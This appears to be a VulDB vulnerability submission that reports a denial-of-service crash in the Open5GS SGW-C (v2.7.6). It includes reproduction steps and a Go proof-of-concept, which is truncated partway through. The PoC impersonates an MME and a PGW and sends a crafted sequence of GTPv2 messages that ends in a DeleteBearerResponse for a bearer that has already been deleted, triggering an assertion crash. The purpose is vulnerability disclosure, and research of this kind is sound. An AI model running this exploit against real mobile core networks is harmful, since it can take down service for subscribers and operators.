Submit #729360: Open5GS SGWC v2.7.6 Denial of Serviceinfo

TitleOpen5GS SGWC v2.7.6 Denial of Service
Description### Open5GS Release, Revision, or Tag v2.7.6 ### Steps to reproduce ### Description SGW-C can be crashed by a crafted DeleteBearerResponse on S11 when the response references a bearer that is already deleted. ### Steps to reproduce 1. Start a new go project inside a new folder: `go mod init poc` 2. Create a `main.go` and paste the code below: ``` // PA2-002 PoC: DeleteBearerResponse after bearer deletion triggers ogs_assert(bearer) // Target: Open5GS SGW-C sgwc_s11_handle_delete_bearer_response // Flow: // 1) Act as MME: send CreateSessionRequest to SGW-C (S11). // 2) Act as PGW: respond to SGW-C's S5-C CreateSessionRequest. // 3) Act as PGW: send DeleteBearerRequest to SGW-C (S5-C). // 4) Act as MME: after receiving DeleteBearerRequest, send DeleteSessionRequest (S11) to delete bearer. // 5) Act as MME: send DeleteBearerResponse with the stored sequence -> bearer lookup returns NULL -> assert. package main import ( "flag" "fmt" "log" "math/rand" "net" "strings" "time" "github.com/wmnsk/go-gtp/gtpv2" "github.com/wmnsk/go-gtp/gtpv2/ie" "github.com/wmnsk/go-gtp/gtpv2/message" ) type bearerReqInfo struct { seq uint32 ebi uint8 } type s5cInfo struct { sgwTeid uint32 ebi uint8 } func main() { sgwcS11Addr := flag.String("sgwc-s11", "127.0.0.2:2123", "SGW-C S11 address") sgwcS5cAddr := flag.String("sgwc-s5c", "127.0.0.2:2123", "SGW-C S5-C address") mmeAddr := flag.String("mme", "127.0.0.1:2123", "Local MME bind address") pgwAddr := flag.String("pgw", "127.0.0.4:2123", "Local PGW-C bind address") imsi := flag.String("imsi", "001010000000001", "IMSI for CreateSessionRequest") apn := flag.String("apn", "internet", "APN for CreateSessionRequest") mcc := flag.String("mcc", "001", "Serving network MCC") mnc := flag.String("mnc", "01", "Serving network MNC") ebi := flag.Uint("ebi", 5, "Default EPS Bearer ID") paa := flag.String("paa", "10.60.0.10", "PAA for CreateSessionResponse") cleanupDelay := flag.Duration("cleanup-delay", 1200*time.Millisecond, "Delay after DeleteSessionRequest before sending DeleteBearerResponse") waitTimeout := flag.Duration("wait-timeout", 6*time.Second, "Timeout for each wait step") mmeTeid := flag.Uint("mme-teid", 0, "MME S11 TEID to advertise (0=random)") pgwTeid := flag.Uint("pgw-teid", 0, "PGW S5-C TEID to advertise in CSR (0=random)") flag.Parse() rand.Seed(time.Now().UnixNano()) mmeIP, err := hostFromAddr(*mmeAddr) if err != nil { log.Fatalf("parse MME addr: %v", err) } pgwIP, err := hostFromAddr(*pgwAddr) if err != nil { log.Fatalf("parse PGW addr: %v", err) } log.Println("=== PA2-002 PoC: DeleteBearerResponse after bearer deletion ===") log.Printf("SGW-C S11: %s", *sgwcS11Addr) log.Printf("SGW-C S5C: %s", *sgwcS5cAddr) log.Printf("MME: %s", *mmeAddr) log.Printf("PGW: %s", *pgwAddr) mmeConn := listenUDP(*mmeAddr, "MME") defer mmeConn.Close() pgwConn := listenUDP(*pgwAddr, "PGW") defer pgwConn.Close() sgwcS11Raddr, err := net.ResolveUDPAddr("udp", *sgwcS11Addr) if err != nil { log.Fatalf("resolve SGW-C S11 addr: %v", err) } sgwcS5cRaddr, err := net.ResolveUDPAddr("udp", *sgwcS5cAddr) if err != nil { log.Fatalf("resolve SGW-C S5C addr: %v", err) } sgwS11TeidCh := make(chan uint32, 1) deleteReqCh := make(chan bearerReqInfo, 1) sgwS5cCh := make(chan s5cInfo, 1) mmeCtrlTeid := randNonZeroUint32(uint32(*mmeTeid)) pgwCtrlTeid := randNonZeroUint32(uint32(*pgwTeid)) go startMMEServer(mmeConn, sgwS11TeidCh, deleteReqCh) go startPGWServer(pgwConn, pgwIP, *paa, pgwCtrlTeid, sgwS5cCh) time.Sleep(500 * time.Millisecond) log.Println("[1] Send CreateSessionRequest (MME -> SGW-C)") if err := sendCreateSessionRequest(mmeConn, sgwcS11Raddr, *imsi, *apn, *mcc, *mnc, mmeIP, pgwIP, mmeCtrlTeid, pgwCtrlTeid, uint8(*ebi)); err != nil { log.Fatalf("send CSR: %v", err) } sgwS11Teid := waitUint32("SGW S11 TEID", sgwS11TeidCh, *waitTimeout) s5c := waitS5cInfo(sgwS5cCh, *waitTimeout) log.Printf("[2] SGW S11 TEID=0x%x, SGW S5C TEID=0x%x, EBI=%d", sgwS11Teid, s5c.sgwTeid, s5c.ebi) log.Println("[3] Send DeleteBearerRequest (PGW -> SGW-C)") if err := sendDeleteBearerRequest(pgwConn, sgwcS5cRaddr, s5c.sgwTeid, s5c.ebi); err != nil { log.Fatalf("send DeleteBearerRequest: %v", err) } deleteReq := waitBearerReq("DeleteBearerRequest", deleteReqCh, *waitTimeout) log.Printf("[4] Got DeleteBearerRequest seq=0x%x ebi=%d", deleteReq.seq, deleteReq.ebi) log.Println("[5] Send DeleteSessionRequest to remove bearer (MME -> SGW-C)") if err := sendDeleteSessionRequest(mmeConn, sgwcS11Raddr, sgwS11Teid, s5c.ebi); err != nil { log.Fatalf("send DeleteSessionRequest: %v", err) } time.Sleep(*cleanupDelay) log.Println("[6] Send DeleteBearerResponse (MME -> SGW-C)") if err := sendDeleteBearerResponse(mmeConn, sgwcS11Raddr, sgwS11Teid, deleteReq.seq, deleteReq.ebi); err != nil { log.Fatalf("send DeleteBearerResponse: %v", err) } log.Println("[*] Sent DeleteBearerResponse. Expected: ogs_assert(bearer) crash in sgwc_s11_handle_delete_bearer_response.") time.Sleep(2 * time.Second) } func startMMEServer(conn *net.UDPConn, sgwS11TeidCh chan<- uint32, deleteReqCh chan<- bearerReqInfo) { log.Printf("[MME] Listening on %s", conn.LocalAddr()) buf := make([]byte, 4096) for { n, raddr, err := conn.ReadFromUDP(buf) if err != nil { log.Printf("[MME] read error: %v", err) continue } msg, err := message.Parse(buf[:n]) if err != nil { log.Printf("[MME] parse error: %v", err) continue } switch m := msg.(type) { case *message.CreateSessionResponse: sgwTeid := uint32(0) if m.SenderFTEIDC != nil { if v, err := m.SenderFTEIDC.TEID(); err == nil { sgwTeid = v } } if sgwTeid != 0 { select { case sgwS11TeidCh <- sgwTeid: default: } log.Printf("[MME] CreateSessionResponse from %s, SGW S11 TEID=0x%x", raddr, sgwTeid) } case *message.DeleteBearerRequest: ebi := ebiFromDeleteBearerRequest(m, 5) req := bearerReqInfo{seq: m.Sequence(), ebi: ebi} select { case deleteReqCh <- req: default: } log.Printf("[MME] DeleteBearerRequest from %s seq=0x%x ebi=%d", raddr, req.seq, req.ebi) default: log.Printf("[MME] recv %s from %s", msg.MessageTypeName(), raddr) } } } func startPGWServer(conn *net.UDPConn, pgwIP, paa string, pgwCtrlTeid uint32, sgwS5cCh chan<- s5cInfo) { log.Printf("[PGW] Listening on %s", conn.LocalAddr()) pgwUteid := randNonZeroUint32(0) var sgwTeid uint32 buf := make([]byte, 4096) for { n, raddr, err := conn.ReadFromUDP(buf) if err != nil { log.Printf("[PGW] read error: %v", err) continue } msg, err := message.Parse(buf[:n]) if err != nil { log.Printf("[PGW] parse error: %v", err) continue } switch m := msg.(type) { case *message.CreateSessionRequest: if m.SenderFTEIDC != nil { if v, err := m.SenderFTEIDC.TEID(); err == nil { sgwTeid = v } } ebi := ebiFromCreateSessionRequest(m, 5) select { case sgwS5cCh <- s5cInfo{sgwTeid: sgwTeid, ebi: ebi}: default: } resp := message.NewCreateSessionResponse( sgwTeid, m.Sequence(), ie.NewCause(gtpv2.CauseRequestAccepted, 0, 0, 0, nil), ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPC, pgwCtrlTeid, pgwIP, "").WithInstance(1), ie.NewPDNAddressAllocation(paa), ie.NewAPNRestriction(gtpv2.APNRestrictionNoExistingContextsorRestriction), ie.NewBearerContext( ie.NewCause(gtpv2.CauseRequestAccepted, 0, 0, 0, nil), ie.NewEPSBearerID(ebi), ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPU, pgwUteid, pgwIP, "").WithInstance(2), ie.NewBearerQoS(1, 9, 1, 1, 0, 0, 0, 0), ), ) if err := sendMsg(conn, raddr, resp); err != nil { log.Printf("[PGW] send CSRsp error: %v", err) } else { log.Printf("[PGW] CSRsp sent to %s (SGW TEID=0x%x, EBI=%d)", raddr, sgwTeid, ebi) } case *message.DeleteSessionRequest: teid := sgwTeid if teid == 0 && m.SenderFTEIDC != nil { if v, err := m.SenderFTEIDC.TEID(); err == nil { teid = v } } resp := message.NewDeleteSessionResponse( teid, m.Sequence(), ie.NewCause(gtpv2.CauseRequestAccepted, 0, 0, 0, nil), ) if err := sendMsg(conn, raddr, resp); err != nil { log.Printf("[PGW] send DSRsp error: %v", err) } else { log.Printf("[PGW] DSRsp sent to %s (SGW TEID=0x%x)", raddr, teid) } default: log.Printf("[PGW] recv %s from %s", msg.MessageTypeName(), raddr) } } } func sendCreateSessionRequest(conn *net.UDPConn, raddr *net.UDPAddr, imsi, apn, mcc, mnc, mmeIP, pgwIP string, mmeTeid, pgwTeid uint32, ebi uint8) error { senderFTEID := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS11MMEGTPC, mmeTeid, mmeIP, "") pgwFTEID := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPC, pgwTeid, pgwIP, "").WithInstance(1) bearer := ie.NewBearerContext( ie.NewEPSBearerID(ebi), ie.NewBearerQoS(1, 9, 1, 1, 0, 0, 0, 0), ) csr := message.NewCreateSessionRequest( 0, randSeq(), ie.NewIMSI(imsi), ie.NewMSISDN("818000000001"), ie.NewMobileEquipmentIdentity("123456789012345"), ie.NewServingNetwork(mcc, mnc), ie.NewRATType(gtpv2.RATTypeEUTRAN), ie.NewIndicationFromOctets(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), senderFTEID, pgwFTEID, ie.NewAccessPointName(apn), ie.NewSelectionMode(gtpv2.SelectionModeMSorNetworkProvidedAPNSubscribedVerified), ie.NewPDNType(gtpv2.PDNTypeIPv4), ie.NewPDNAddressAllocation("x.x.x.x"), ie.NewAPNRestriction(gtpv2.APNRestrictionNoExistingContextsorRestriction), ie.NewAggregateMaximumBitRate(10000000, 10000000), bearer, ) payload, err := csr.Marshal() if err != nil { return fmt.Errorf("marshal CSR: %w", err) } if _, err := conn.WriteToUDP(payload, raddr); err
Source⚠️ https://github.com/open5gs/open5gs/issues/4229
User
 LinZiyu (UID 94035)
Submission01/02/2026 13:23 (9 months ago)
Moderation01/17/2026 09:32 (15 days later)
StatusDuplicate
VulDB entry341595 [Open5GS up to 2.7.6 GTPv2 Bearer Response denial of service]
Points0

Do you know our Splunk app?

Download it now for free!